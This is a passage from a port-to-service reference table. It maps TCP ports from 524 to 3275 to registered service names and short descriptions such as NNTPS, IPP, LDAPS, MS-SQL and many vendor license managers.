524/tcp ncp NCP
525/tcp timed timeserver
526/tcp tempo newdate
527/tcp stx Stock IXChange
528/tcp custix Customer IXChange
529/tcp irc-serv IRC-SERV
530/tcp courier rpc
531/tcp conference chat
532/tcp netnews readnews
533/tcp netwall for emergency broadcasts
534/tcp mm-admin MegaMedia Admin
535/tcp iiop iiop
536/tcp opalis-rdv opalis-rdv
537/tcp nmsp Networked Media Streaming Protocol
538/tcp gdomap gdomap
539/tcp apertus-ldp Apertus Technologies Load Determination
540/tcp uucp uucpd
541/tcp uucp-rlogin uucp-rlogin
542/tcp commerce commerce
543/tcp klogin
544/tcp kshell krcmd
545/tcp appleqtcsrvr appleqtcsrvr
546/tcp dhcpv6-client DHCPv6 Client
547/tcp dhcpv6-server DHCPv6 Server
548/tcp afpovertcp AFP over TCP
549/tcp idfp IDFP
550/tcp new-rwho new-who
551/tcp cybercash cybercash
552/tcp deviceshare deviceshare
553/tcp pirp pirp
554/tcp rtsp Real Time Stream Control Protocol
555/tcp dsf
556/tcp remotefs rfs server
557/tcp openvms-sysipc openvms-sysipc
558/tcp sdnskmp SDNSKMP
559/tcp teedtap TEEDTAP
560/tcp rmonitor rmonitord
561/tcp monitor
562/tcp chshell chcmd
563/tcp nntps nntp protocol over TLS/SSL (was snntp)
564/tcp 9pfs plan 9 file service
565/tcp whoami whoami
566/tcp streettalk streettalk
567/tcp banyan-rpc banyan-rpc
568/tcp ms-shuttle microsoft shuttle
569/tcp ms-rome microsoft rome
570/tcp meter demon
571/tcp meter udemon
572/tcp sonar sonar
573/tcp banyan-vip banyan-vip
574/tcp ftp-agent FTP Software Agent System
575/tcp vemmi VEMMI
576/tcp ipcd ipcd
577/tcp vnas vnas
578/tcp ipdd ipdd
579/tcp decbsrv decbsrv
581/tcp bdp Bundle Discovery Protocol
588/tcp cal CAL
589/tcp eyelink EyeLink
590/tcp tns-cml TNS CML
593/tcp http-rpc-epmap HTTP RPC Ep Map
594/tcp tpip TPIP
596/tcp smsd SMSD
599/tcp acp Aeolon Core Protocol
600/tcp ipcserver Sun IPC server
606/tcp urm Cray Unified Resource Manager
607/tcp nqs nqs
608/tcp sift-uft Sender-Initiated/Unsolicited File Transfer
609/tcp npmp-trap npmp-trap
610/tcp npmp-local npmp-local
611/tcp npmp-gui npmp-gui
613/tcp hmmp-op HMMP Operation
620/tcp sco-websrvrmgr SCO WebServer Manager
621/tcp escp-ip ESCP
625/tcp dec_dlm DEC DLM
626/tcp asia ASIA
628/tcp qmqp QMQP
630/tcp rda RDA
631/tcp ipp IPP (Internet Printing Protocol)
632/tcp bmpp bmpp
634/tcp ginad ginad
635/tcp rlzdbase RLZ DBase
636/tcp ldaps ldap protocol over TLS/SSL (was sldap)
637/tcp lanserver lanserver
639/tcp msdp MSDP
666/tcp doom doom Id Software
667/tcp disclose campaign contribution disclosures - SDR Technologies
668/tcp mecomm MeComm
669/tcp meregister MeRegister
670/tcp vacdsm-sws VACDSM-SWS
671/tcp vacdsm-app VACDSM-APP
672/tcp vpps-qua VPPS-QUA
673/tcp cimplex CIMPLEX
674/tcp acap ACAP
675/tcp dctp DCTP
704/tcp elcsd errlog copy/server daemon
705/tcp agentx AgentX
709/tcp entrust-kmsh Entrust Key Management Service Handler
710/tcp entrust-ash Entrust Administration Service Handler
729/tcp netviewdm1 IBM NetView DM/6000 Server/Client
730/tcp netviewdm2 IBM NetView DM/6000 send/tcp
731/tcp netviewdm3 IBM NetView DM/6000 receive/tcp
741/tcp netgw netGW
742/tcp netrcs Network based Rev. Cont. Sys.
744/tcp flexlm Flexible License Manager
747/tcp fujitsu-dev Fujitsu Device Control
748/tcp ris-cm Russell Info Sci Calendar Manager
749/tcp kerberos-adm kerberos administration
750/tcp rfile
751/tcp pump
752/tcp qrh
753/tcp rrh
754/tcp tell send
758/tcp nlogin
759/tcp con
760/tcp ns
761/tcp rxe
762/tcp quotad
763/tcp cycleserv
764/tcp omserv
765/tcp webster
769/tcp vid
770/tcp cadlock
771/tcp rtip
772/tcp cycleserv2
773/tcp submit
774/tcp rpasswd
776/tcp wpages
780/tcp wpgs
786/tcp concert Concert
787/tcp qsc QSC
801/tcp device
873/tcp rsync rsync
886/tcp iclcnet-locate ICL coNETion locate server
887/tcp iclcnet_svinfo ICL coNETion server info
888/tcp accessbuilder AccessBuilder
900/tcp omginitialrefs OMG Initial Refs
911/tcp xact-backup xact-backup
990/tcp ftps ftp protocol, control, over TLS/SSL
991/tcp nas Netnews Administration System
992/tcp telnets telnet protocol over TLS/SSL
993/tcp imaps imap4 protocol over TLS/SSL
994/tcp ircs irc protocol over TLS/SSL
995/tcp pop3s pop3 protocol over TLS/SSL (was spop3)
996/tcp vsinet vsinet
997/tcp maitrd
998/tcp busboy
999/tcp garcon
1000/tcp cadlock
1010/tcp surf surf
1023/tcp Reserved Reserved
1030/tcp iad1 BBN IAD
1031/tcp iad2 BBN IAD
1032/tcp iad3 BBN IAD
1047/tcp neod1 Sun's NEO Object Request Broker
1048/tcp neod2 Sun's NEO Object Request Broker
1058/tcp nim nim
1059/tcp nimreg nimreg
1067/tcp instl_boots Installation Bootstrap Proto. Serv.
1068/tcp instl_bootc Installation Bootstrap Proto. Cli.
1080/tcp socks Socks
1083/tcp ansoft-lm-1 Anasoft License Manager
1084/tcp ansoft-lm-2 Anasoft License Manager
1123/tcp murray Murray
1155/tcp nfa Network File Access
1212/tcp lupa lupa
1222/tcp nerv SNI R&D network
1239/tcp nmsd NMSD
1248/tcp hermes
1313/tcp bmc_patroldb BMC_PATROLDB
1314/tcp pdps Photoscript Distributed Printing System
1321/tcp pip PIP
1345/tcp vpjp VPJP
1346/tcp alta-ana-lm Alta Analytics License Manager
1347/tcp bbn-mmc multi media conferencing
1348/tcp bbn-mmx multi media conferencing
1349/tcp sbook Registration Network Protocol
1350/tcp editbench Registration Network Protocol
1352/tcp lotusnote Lotus Note
1353/tcp relief Relief Consulting
1354/tcp rightbrain RightBrain Software
1355/tcp intuitive-edge Intuitive Edge
1356/tcp cuillamartin CuillaMartin Company
1357/tcp pegboard Electronic PegBoard
1358/tcp connlcli CONNLCLI
1359/tcp ftsrv FTSRV
1360/tcp mimer MIMER
1361/tcp linx LinX
1362/tcp timeflies TimeFlies
1363/tcp ndm-requester Network DataMover Requester
1364/tcp ndm-server Network DataMover Server
1365/tcp adapt-sna Network Software Associates
1366/tcp netware-csp Novell NetWare Comm Service Platform
1367/tcp dcs DCS
1368/tcp screencast ScreenCast
1369/tcp gv-us GlobalView to Unix Shell
1370/tcp us-gv Unix Shell to GlobalView
1371/tcp fc-cli Fujitsu Config Protocol
1372/tcp fc-ser Fujitsu Config Protocol
1373/tcp chromagrafx Chromagrafx
1374/tcp molly EPI Software Systems
1375/tcp bytex Bytex
1376/tcp ibm-pps IBM Person to Person Software
1377/tcp cichlid Cichlid License Manager
1378/tcp elan Elan License Manager
1379/tcp dbreporter Integrity Solutions
1380/tcp telesis-licman Telesis Network License Manager
1381/tcp apple-licman Apple Network License Manager
1382/tcp udt_os
1383/tcp gwha GW Hannaway Network License Manager
1384/tcp os-licman Objective Solutions License Manager
1385/tcp atex_elmd Atex Publishing License Manager
1386/tcp checksum CheckSum License Manager
1387/tcp cadsi-lm Computer Aided Design Software Inc LM
1388/tcp objective-dbc Objective Solutions DataBase Cache
1389/tcp iclpv-dm Document Manager
1390/tcp iclpv-sc Storage Controller
1391/tcp iclpv-sas Storage Access Server
1392/tcp iclpv-pm Print Manager
1393/tcp iclpv-nls Network Log Server
1394/tcp iclpv-nlc Network Log Client
1395/tcp iclpv-wsm PC Workstation Manager software
1396/tcp dvl-activemail DVL Active Mail
1399/tcp cadkey-licman Cadkey License Manager
1400/tcp cadkey-tablet Cadkey Tablet Daemon
1402/tcp prm-sm-np Prospero Resource Manager
1403/tcp prm-nm-np Prospero Resource Manager
1404/tcp igi-lm Infinite Graphics License Manager
1405/tcp ibm-res IBM Remote Execution Starter
1406/tcp netlabs-lm NetLabs License Manager
1407/tcp dbsa-lm DBSA License Manager
1408/tcp sophia-lm Sophia License Manager
1409/tcp here-lm Here License Manager
1410/tcp hiq HiQ License Manager
1411/tcp af AudioFile
1412/tcp innosys InnoSys
1413/tcp innosys-acl Innosys-ACL
1414/tcp ibm-mqseries IBM MQSeries
1415/tcp dbstar DBStar
1416/tcp novell-lu6.2 Novell LU6.2
1417/tcp timbuktu-srv1 Timbuktu Service 1 Port
1418/tcp timbuktu-srv2 Timbuktu Service 2 Port
1419/tcp timbuktu-srv3 Timbuktu Service 3 Port
1420/tcp timbuktu-srv4 Timbuktu Service 4 Port
1421/tcp gandalf-lm Gandalf License Manager
1422/tcp autodesk-lm Autodesk License Manager
1423/tcp essbase Essbase Arbor Software
1424/tcp hybrid Hybrid Encryption Protocol
1425/tcp zion-lm Zion Software License Manager
1426/tcp sais Satellite-data Acquisition System 1
1427/tcp mloadd mloadd monitoring tool
1428/tcp informatik-lm Informatik License Manager
1429/tcp nms Hypercom NMS
1430/tcp tpdu Hypercom TPDU
1431/tcp rgtp Reverse Gossip Transport
1432/tcp blueberry-lm Blueberry Software License Manager
1433/tcp ms-sql-s Microsoft-SQL-Server
1434/tcp ms-sql-m Microsoft-SQL-Monitor
1435/tcp ibm-cics IBM CICS
1436/tcp saism Satellite-data Acquisition System 2
1437/tcp tabula Tabula
1438/tcp eicon-server Eicon Security Agent/Server
1439/tcp eicon-x25 Eicon X25/SNA Gateway
1440/tcp eicon-slp Eicon Service Location Protocol
1441/tcp cadis-1 Cadis License Management
1442/tcp cadis-2 Cadis License Management
1443/tcp ies-lm Integrated Engineering Software
1444/tcp marcam-lm Marcam License Management
1445/tcp proxima-lm Proxima License Manager
1446/tcp ora-lm Optical Research Associates License Manager
1447/tcp apri-lm Applied Parallel Research LM
1448/tcp oc-lm OpenConnect License Manager
1449/tcp peport PEport
1450/tcp dwf Tandem Distributed Workbench Facility
1451/tcp infoman IBM Information Management
1452/tcp gtegsc-lm GTE Government Systems License Man
1453/tcp genie-lm Genie License Manager
1454/tcp interhdl_elmd interHDL License Manager
1455/tcp esl-lm ESL License Manager
1456/tcp dca DCA
1457/tcp valisys-lm Valisys License Manager
1458/tcp nrcabq-lm Nichols Research Corp.
1459/tcp proshare1 Proshare Notebook Application
1460/tcp proshare2 Proshare Notebook Application
1461/tcp ibm_wrless_lan IBM Wireless LAN
1462/tcp world-lm World License Manager
1463/tcp nucleus Nucleus
1464/tcp msl_lmd MSL License Manager
1465/tcp pipes Pipes Platform
1466/tcp oceansoft-lm Ocean Software License Manager
1467/tcp csdmbase CSDMBASE
1468/tcp csdm CSDM
1469/tcp aal-lm Active Analysis Limited License Manager
1470/tcp uaiact Universal Analytics
1471/tcp csdmbase csdmbase
1472/tcp csdm csdm
1473/tcp openmath OpenMath
1474/tcp telefinder Telefinder
1475/tcp taligent-lm Taligent License Manager
1476/tcp clvm-cfg clvm-cfg
1477/tcp ms-sna-server ms-sna-server
1478/tcp ms-sna-base ms-sna-base
1479/tcp dberegister dberegister
1480/tcp pacerforum PacerForum
1481/tcp airs AIRS
1482/tcp miteksys-lm Miteksys License Manager
1483/tcp afs AFS License Manager
1484/tcp confluent Confluent License Manager
1485/tcp lansource LANSource
1486/tcp nms_topo_serv nms_topo_serv
1487/tcp localinfosrvr LocalInfoSrvr
1488/tcp docstor DocStor
1489/tcp dmdocbroker dmdocbroker
1490/tcp insitu-conf insitu-conf
1491/tcp anynetgateway anynetgateway
1492/tcp stone-design-1 stone-design-1
1493/tcp netmap_lm netmap_lm
1494/tcp ica ica
1495/tcp cvc cvc
1496/tcp liberty-lm liberty-lm
1497/tcp rfx-lm rfx-lm
1498/tcp sybase-sqlany Sybase SQL Any
1499/tcp fhc Federico Heinz Consultora
1500/tcp vlsi-lm VLSI License Manager
1501/tcp saiscm Satellite-data Acquisition System 3
1502/tcp shivadiscovery Shiva
1503/tcp imtc-mcs Databeam
1504/tcp evb-elm EVB Software Engineering License Manager
1505/tcp funkproxy Funk Software, Inc.
1506/tcp utcd Universal Time daemon (utcd)
1507/tcp symplex symplex
1508/tcp diagmond diagmond
1509/tcp robcad-lm Robcad, Ltd. License Manager
1510/tcp mvx-lm Midland Valley Exploration Ltd. Lic. Man.
1511/tcp 3l-l1 3l-l1
1512/tcp wins Microsoft's Windows Internet Name Service
1513/tcp fujitsu-dtc Fujitsu Systems Business of America, Inc
1514/tcp fujitsu-dtcns Fujitsu Systems Business of America, Inc
1515/tcp ifor-protocol ifor-protocol
1516/tcp vpad Virtual Places Audio data
1517/tcp vpac Virtual Places Audio control
1518/tcp vpvd Virtual Places Video data
1519/tcp vpvc Virtual Places Video control
1520/tcp atm-zip-office atm zip office
1521/tcp ncube-lm nCube License Manager
1522/tcp ricardo-lm Ricardo North America License Manager
1523/tcp cichild-lm cichild
1525/tcp orasrv oracle
1525/tcp prospero-np Prospero Directory Service non-priv
1526/tcp pdap-np Prospero Data Access Prot non-priv
1527/tcp tlisrv oracle
1528/tcp mciautoreg micautoreg
1529/tcp coauthor oracle
1530/tcp rap-service rap-service
1531/tcp rap-listen rap-listen
1532/tcp miroconnect miroconnect
1533/tcp virtual-places Virtual Places Software
1534/tcp micromuse-lm micromuse-lm
1535/tcp ampr-info ampr-info
1536/tcp ampr-inter ampr-inter
1537/tcp sdsc-lm isi-lm
1538/tcp 3ds-lm 3ds-lm
1539/tcp intellistor-lm Intellistor License Manager
1540/tcp rds rds
1541/tcp rds2 rds2
1542/tcp gridgen-elmd gridgen-elmd
1543/tcp simba-cs simba-cs
1544/tcp aspeclmd aspeclmd
1545/tcp vistium-share vistium-share
1546/tcp abbaccuray abbaccuray
1547/tcp laplink laplink
1548/tcp axon-lm Axon License Manager
1549/tcp shivahose Shiva Hose
1550/tcp 3m-image-lm Image Storage license manager 3M Company
1551/tcp hecmtl-db HECMTL-DB
1552/tcp pciarray pciarray
1553/tcp sna-cs sna-cs
1554/tcp caci-lm CACI Products Company License Manager
1555/tcp livelan livelan
1556/tcp ashwin AshWin CI Tecnologies
1557/tcp arbortext-lm ArborText License Manager
1558/tcp xingmpeg xingmpeg
1559/tcp web2host web2host
1560/tcp asci-val asci-val
1561/tcp facilityview facilityview
1562/tcp pconnectmgr pconnectmgr
1563/tcp cadabra-lm Cadabra License Manager
1564/tcp pay-per-view Pay-Per-View
1565/tcp winddlb WinDD
1566/tcp corelvideo CORELVIDEO
1567/tcp jlicelmd jlicelmd
1568/tcp tsspmap tsspmap
1569/tcp ets ets
1570/tcp orbixd orbixd
1571/tcp rdb-dbs-disp Oracle Remote Data Base
1572/tcp chip-lm Chipcom License Manager
1573/tcp itscomm-ns itscomm-ns
1574/tcp mvel-lm mvel-lm
1575/tcp oraclenames oraclenames
1576/tcp moldflow-lm moldflow-lm
1577/tcp hypercube-lm hypercube-lm
1578/tcp jacobus-lm Jacobus License Manager
1579/tcp ioc-sea-lm ioc-sea-lm
1580/tcp tn-tl-r1 tn-tl-r1
1581/tcp mil-2045-47001 MIL-2045-47001
1582/tcp msims MSIMS
1583/tcp simbaexpress simbaexpress
1584/tcp tn-tl-fd2 tn-tl-fd2
1585/tcp intv intv
1586/tcp ibm-abtact ibm-abtact
1587/tcp pra_elmd pra_elmd
1588/tcp triquest-lm triquest-lm
1589/tcp vqp VQP
1590/tcp gemini-lm gemini-lm
1591/tcp ncpm-pm ncpm-pm
1592/tcp commonspace commonspace
1593/tcp mainsoft-lm mainsoft-lm
1594/tcp sixtrak sixtrak
1595/tcp radio radio
1596/tcp radio-sm radio-sm
1597/tcp orbplus-iiop orbplus-iiop
1598/tcp picknfs picknfs
1599/tcp simbaservices simbaservices
1600/tcp issd
1601/tcp aas aas
1602/tcp inspect inspect
1603/tcp picodbc pickodbc
1604/tcp icabrowser icabrowser
1605/tcp slp Salutation Manager (Salutation Protocol)
1606/tcp slm-api Salutation Manager (SLM-API)
1607/tcp stt stt
1608/tcp smart-lm Smart Corp. License Manager
1609/tcp isysg-lm isysg-lm
1610/tcp taurus-wh taurus-wh
1611/tcp ill Inter Library Loan
1612/tcp netbill-trans NetBill Transaction Server
1613/tcp netbill-keyrep NetBill Key Repository
1614/tcp netbill-cred NetBill Credential Server
1615/tcp netbill-auth NetBill Authorization Server
1616/tcp netbill-prod NetBill Product Server
1617/tcp nimrod-agent Nimrod Inter-Agent Communication
1618/tcp skytelnet skytelnet
1619/tcp xs-openstorage xs-openstorage
1620/tcp faxportwinport faxportwinport
1621/tcp softdataphone softdataphone
1622/tcp ontime ontime
1623/tcp jaleosnd jaleosnd
1624/tcp udp-sr-port udp-sr-port
1625/tcp svs-omagent svs-omagent
1636/tcp cncp CableNet Control Protocol
1637/tcp cnap CableNet Admin Protocol
1638/tcp cnip CableNet Info Protocol
1639/tcp cert-initiator cert-initiator
1640/tcp cert-responder cert-responder
1641/tcp invision InVision
1642/tcp isis-am isis-am
1643/tcp isis-ambc isis-ambc
1645/tcp datametrics datametrics
1646/tcp sa-msg-port sa-msg-port
1647/tcp rsap rsap
1648/tcp concurrent-lm concurrent-lm
1649/tcp inspect inspect
1650/tcp nkd nkd
1651/tcp shiva_confsrvr shiva_confsrvr
1652/tcp xnmp xnmp
1653/tcp alphatech-lm alphatech-lm
1654/tcp stargatealerts stargatealerts
1655/tcp dec-mbadmin dec-mbadmin
1656/tcp dec-mbadmin-h dec-mbadmin-h
1657/tcp fujitsu-mmpdc fujitsu-mmpdc
1658/tcp sixnetudr sixnetudr
1659/tcp sg-lm Silicon Grail License Manager
1660/tcp skip-mc-gikreq skip-mc-gikreq
1661/tcp netview-aix-1 netview-aix-1
1662/tcp netview-aix-2 netview-aix-2
1663/tcp netview-aix-3 netview-aix-3
1664/tcp netview-aix-4 netview-aix-4
1665/tcp netview-aix-5 netview-aix-5
1666/tcp netview-aix-6 netview-aix-6
1667/tcp netview-aix-7 netview-aix-7
1668/tcp netview-aix-8 netview-aix-8
1669/tcp netview-aix-9 netview-aix-9
1670/tcp netview-aix-10 netview-aix-10
1671/tcp netview-aix-11 netview-aix-11
1672/tcp netview-aix-12 netview-aix-12
1673/tcp proshare-mc-1 Intel Proshare Multicast
1674/tcp proshare-mc-2 Intel Proshare Multicast
1675/tcp pdp Pacific Data Products
1676/tcp netcomm1 netcomm1
1677/tcp groupwise groupwise
1678/tcp prolink prolink
1679/tcp darcorp-lm darcorp-lm
1681/tcp sd-elmd sd-elmd
1682/tcp lanyon-lantern lanyon-lantern
1683/tcp ncpm-hip ncpm-hip
1684/tcp snaresecure SnareSecure
1685/tcp n2nremote n2nremote
1686/tcp cvmon cvmon
1687/tcp nsjtp-ctrl nsjtp-ctrl
1688/tcp nsjtp-data nsjtp-data
1689/tcp firefox firefox
1690/tcp ng-umds ng-umds
1691/tcp empire-empuma empire-empuma
1692/tcp sstsys-lm sstsys-lm
1693/tcp rrirtr rrirtr
1694/tcp rrimwm rrimwm
1695/tcp rrilwm rrilwm
1696/tcp rrifmm rrifmm
1697/tcp rrisat rrisat
1698/tcp rsvp-encap-1 RSVP-ENCAPSULATION-1
1699/tcp rsvp-encap-2 RSVP-ENCAPSULATION-2
1700/tcp mps-raft mps-raft
1701/tcp l2f,l2tp l2f,l2tp
1702/tcp deskshare deskshare
1703/tcp hb-engine hb-engine
1704/tcp bcs-broker bcs-broker
1705/tcp slingshot slingshot
1706/tcp jetform jetform
1707/tcp vdmplay vdmplay
1708/tcp gat-lmd gat-lmd
1709/tcp centra centra
1710/tcp impera impera
1711/tcp pptconference pptconference
1712/tcp registrar resource monitoring service
1713/tcp conferencetalk ConferenceTalk
1714/tcp sesi-lm sesi-lm
1715/tcp houdini-lm houdini-lm
1716/tcp xmsg xmsg
1717/tcp fj-hdnet fj-hdnet
1718/tcp h323gatedisc h323gatedisc
1719/tcp h323gatestat h323gatestat
1720/tcp h323hostcall h323hostcall
1721/tcp caicci caicci
1722/tcp hks-lm HKS License Manager
1723/tcp pptp pptp
1724/tcp csbphonemaster csbphonemaster
1725/tcp iden-ralp iden-ralp
1726/tcp iberiagames IBERIAGAMES
1727/tcp winddx winddx
1728/tcp telindus TELINDUS
1729/tcp citynl CityNL License Management
1730/tcp roketz roketz
1731/tcp msiccp MSICCP
1732/tcp proxim proxim
1733/tcp siipat SIMS - SIIPAT Protocol for Alarm Transmission
1734/tcp cambertx-lm Camber Corporation License Management
1735/tcp privatechat PrivateChat
1736/tcp street-stream street-stream
1737/tcp ultimad ultimad
1738/tcp gamegen1 GameGen1
1739/tcp webaccess webaccess
1740/tcp encore encore
1741/tcp cisco-net-mgmt cisco-net-mgmt
1742/tcp 3Com-nsd 3Com-nsd
1743/tcp cinegrfx-lm Cinema Graphics License Manager
1744/tcp ncpm-ft ncpm-ft
1745/tcp remote-winsock remote-winsock
1746/tcp ftrapid-1 ftrapid-1
1747/tcp ftrapid-2 ftrapid-2
1748/tcp oracle-em1 oracle-em1
1749/tcp aspen-services aspen-services
1750/tcp sslp Simple Socket Library's PortMaster
1751/tcp swiftnet SwiftNet
1752/tcp lofr-lm Leap of Faith Research License Manager
1753/tcp translogic-lm Translogic License Manager
1754/tcp oracle-em2 oracle-em2
1755/tcp ms-streaming ms-streaming
1756/tcp capfast-lmd capfast-lmd
1757/tcp cnhrp cnhrp
1758/tcp tftp-mcast tftp-mcast
1759/tcp spss-lm SPSS License Manager
1760/tcp www-ldap-gw www-ldap-gw
1761/tcp cft-0 cft-0
1762/tcp cft-1 cft-1
1763/tcp cft-2 cft-2
1764/tcp cft-3 cft-3
1765/tcp cft-4 cft-4
1766/tcp cft-5 cft-5
1767/tcp cft-6 cft-6
1768/tcp cft-7 cft-7
1769/tcp bmc-net-adm bmc-net-adm
1770/tcp bmc-net-svc bmc-net-svc
1771/tcp vaultbase vaultbase
1772/tcp essweb-gw EssWeb Gateway
1773/tcp kmscontrol KMSControl
1774/tcp global-dtserv global-dtserv
1776/tcp femis Federal Emergency Management Information System
1777/tcp powerguardian powerguardian
1779/tcp pharmasoft pharmasoft
1780/tcp dpkeyserv dpkeyserv
1781/tcp answersoft-lm answersoft-lm
1782/tcp hp-hcip hp-hcip
1783/tcp fjris Fujitsu Remote Install Service
1784/tcp finle-lm Finle License Manager
1785/tcp windlm Wind River Systems License Manager
1786/tcp funk-logger funk-logger
1787/tcp funk-license funk-license
1788/tcp psmond psmond
1789/tcp hello hello
1790/tcp nmsp Narrative Media Streaming Protocol
1791/tcp ea1 EA1
1792/tcp ibm-dt-2 ibm-dt-2
1793/tcp rsc-robot rsc-robot
1794/tcp cera-bcm cera-bcm
1795/tcp dpi-proxy dpi-proxy
1796/tcp vocaltec-admin Vocaltec Server Administration
1797/tcp uma UMA
1798/tcp etp Event Transfer Protocol
1799/tcp netrisk NETRISK
1801/tcp msmq Microsoft Message Que
1804/tcp enl ENL
1807/tcp fhsp Fujitsu Hot Standby Protocol
1812/tcp radius RADIUS
1813/tcp radius-acct RADIUS Accounting
1814/tcp tdp-suite TDP Suite
1815/tcp mmpft MMPFT
1816/tcp harp HARP
1818/tcp etftp Enhanced Trivial File Transfer Protocol
1819/tcp plato-lm Plato License Manager
1820/tcp mcagent mcagent
1821/tcp donnyworld donnyworld
1822/tcp es-elmd es-elmd
1823/tcp unisys-lm Unisys Natural Language License Manager
1824/tcp metrics-pas metrics-pas
1850/tcp gsi GSI
1863/tcp msnp MSNP
1865/tcp entp ENTP
1901/tcp fjicl-tep-a Fujitsu ICL Terminal Emulator Program A
1902/tcp fjicl-tep-b Fujitsu ICL Terminal Emulator Program B
1903/tcp linkname Local Link Name Resolution
1904/tcp fjicl-tep-c Fujitsu ICL Terminal Emulator Program C
1905/tcp sugp Secure UP.Link Gateway Protocol
1906/tcp tpmd TPortMapperReq
1908/tcp dawn Dawn
1911/tcp mtp Starlight Networks Multimedia Transport Protocol
1913/tcp armadp armadp
1914/tcp elm-momentum Elm-Momentum
1915/tcp facelink FACELINK
1916/tcp persona Persoft Persona
1917/tcp noagent nOAgent
1921/tcp noadmin NoAdmin
1944/tcp close-combat close-combat
1945/tcp dialogic-elmd dialogic-elmd
1946/tcp tekpls tekpls
1947/tcp hlserver hlserver
1948/tcp eye2eye eye2eye
1949/tcp ismaeasdaqlive ISMA Easdaq Live
1950/tcp ismaeasdaqtest ISMA Easdaq Test
1951/tcp bcs-lmserver bcs-lmserver
1973/tcp dlsrap Data Link Switching Remote Access Protocol
1985/tcp hsrp Hot Standby Router Protocol
1986/tcp licensedaemon cisco license management
1987/tcp tr-rsrb-p1 cisco RSRB Priority 1 port
1988/tcp tr-rsrb-p2 cisco RSRB Priority 2 port
1989/tcp tr-rsrb-p3 cisco RSRB Priority 3 port
1989/tcp mshnet MHSnet system
1990/tcp stun-p1 cisco STUN Priority 1 port
1991/tcp stun-p2 cisco STUN Priority 2 port
1992/tcp stun-p3 cisco STUN Priority 3 port
1992/tcp ipsendmsg IPsendmsg
1993/tcp snmp-tcp-port cisco SNMP TCP port
1994/tcp stun-port cisco serial tunnel port
1995/tcp perf-port cisco perf port
1996/tcp tr-rsrb-port cisco Remote SRB port
1997/tcp gdp-port cisco Gateway Discovery Protocol
1998/tcp x25-svc-port cisco X.25 service (XOT)
1999/tcp tcp-id-port cisco identification port
2000/tcp callbook
2001/tcp dc
2002/tcp globe
2004/tcp mailbox
2005/tcp berknet
2007/tcp dectalk
2012/tcp ttyinfo
2013/tcp raid-am
2014/tcp troff
2015/tcp cypress
2025/tcp ellpack
2030/tcp device2
2032/tcp blackboard
2033/tcp glogger
2035/tcp imsldoc
2040/tcp lam
2042/tcp isis isis
2044/tcp rimsl
2045/tcp cdfunc
2046/tcp sdfunc
2047/tcp dls
2049/tcp shilp
2049/tcp nfs Network File System - Sun Microsystems
2065/tcp dlsrpn Data Link Switch Read Port Number
2067/tcp dlswpn Data Link Switch Write Port Number
2090/tcp lrp Load Report Protocol
2091/tcp prp PRP
2102/tcp zephyr-srv Zephyr server
2103/tcp zephyr-clt Zephyr serv-hm connection
2104/tcp zephyr-hm Zephyr hostmanager
2105/tcp minipay MiniPay
2200/tcp ici ICI
2201/tcp ats Advanced Training System Program
2213/tcp kali Kali
2222/tcp unreg-ab2 Allen-Bradley unregistered port
2232/tcp ivs-video IVS Video default
2234/tcp directplay DirectPlay
2236/tcp nani Nani
2240/tcp recipe RECIPe
2241/tcp ivsd IVS Daemon
2242/tcp foliocorp Folio Remote Server
2279/tcp xmquery xmquery
2280/tcp lnvpoller LNVPOLLER
2281/tcp lnvconsole LNVCONSOLE
2282/tcp lnvalarm LNVALARM
2283/tcp lnvstatus LNVSTATUS
2284/tcp lnvmaps LNVMAPS
2285/tcp lnvmailmon LNVMAILMON
2286/tcp nas-metering NAS-Metering
2287/tcp dna DNA
2288/tcp netml NETML
2300/tcp cvmmon CVMMON
2307/tcp pehelp pehelp
2308/tcp sdhelp sdhelp
2313/tcp iapp IAPP (Inter Access Point Protocol)
2316/tcp sent-lm SENT License Manager
2321/tcp rdlap RDLAP over UDP
2322/tcp ofsd ofsd
2323/tcp 3d-nfsd 3d-nfsd
2326/tcp idcp IDCP
2327/tcp xingcsm xingcsm
2329/tcp nvd NVD
2330/tcp tscchat TSCCHAT
2333/tcp snapp SNAPP
2337/tcp ideesrv ideesrv
2344/tcp fcmsys fcmsys
2345/tcp dbm dbm
2356/tcp gxtelmd GXT License Managemant
2358/tcp futrix Futrix
2390/tcp rsmtp RSMTP
2396/tcp wusage Wusage
2397/tcp ncl NCL
2398/tcp orbiter Orbiter
2401/tcp cvspserver cvspserver
2407/tcp orion Orion
2412/tcp cdn CDN
2415/tcp comtest COMTEST
2418/tcp cas cas
2421/tcp g-talk G-Talk
2423/tcp rnrp RNRP
2427/tcp stgcp Simple telephony Gateway Control Protocol
2428/tcp ott One Way Trip Time
2429/tcp ft-role FT-ROLE
2430/tcp venus venus
2432/tcp codasrv codasrv
2436/tcp topx TOP/X
2438/tcp msp MSP
2443/tcp powerclientcsf PowerClient Central Storage Facility
2445/tcp dtn1 DTN1
2447/tcp ovwdb OpenView NNM daemon
2449/tcp ratl RATL
2451/tcp netchat netchat
2458/tcp griffin griffin
2500/tcp rtsserv Resource Tracking system server
2501/tcp rtsclient Resource Tracking system client

2528/tcp ncr_ccl NCR CCL
2529/tcp utsftp UTS FTP
2532/tcp ovtopmd OVTOPMD
2592/tcp netrek netrek
2628/tcp dict DICT
2634/tcp pk-electronics PK Electronics
2636/tcp solve Solve
2639/tcp aminet AMInet
2641/tcp hdl-srv HDL Server
2642/tcp tragic Tragic
2646/tcp and-lm AND Licence Manager
2653/tcp sonus Sonus
2655/tcp unglue UNIX Nt Glue
2656/tcp kana Kana
2700/tcp tqdata tqdata
2784/tcp www-dev world wide web - development
2785/tcp aic-np aic-np
2786/tcp aic-oncrpc aic-oncrpc - Destiny MCD database
2787/tcp piccolo piccolo - Cornerstone Software
2788/tcp fryeserv NetWare Loadable Module - Seagate Software
2789/tcp media-agent Media Agent
2908/tcp mao mao
2912/tcp epicon Epicon
2971/tcp netclip Net Clip
2974/tcp signal Signal
2975/tcp fjmpcm Fujitsu Configuration Management Service
3000/tcp hbci HBCI
3001/tcp redwood-broker Redwood Broker
3003/tcp cgms CGMS
3010/tcp gw Telerate Workstation
3012/tcp twsdss Trusted Web Client
3020/tcp cifs CIFS
3047/tcp hlserver Fast Security HL Server
3048/tcp pctrader Sierra Net PC Trader
3049/tcp nsws NSWS
3105/tcp cardbox Cardbox
3130/tcp icpv2 ICPv2
3141/tcp vmodem VMODEM
3143/tcp seaview Sea View
3147/tcp rfio RFIO
3264/tcp ccmail cc:mail/lotus
3266/tcp ns-cfg-server NS CFG Server
3267/tcp ibm-dial-out IBM Dial Out
3268/tcp msft-gc Microsoft Global Catalog
3273/tcp sxmp Simple Extensible Multiplexed Protocol
3275/tcp samd SAMD
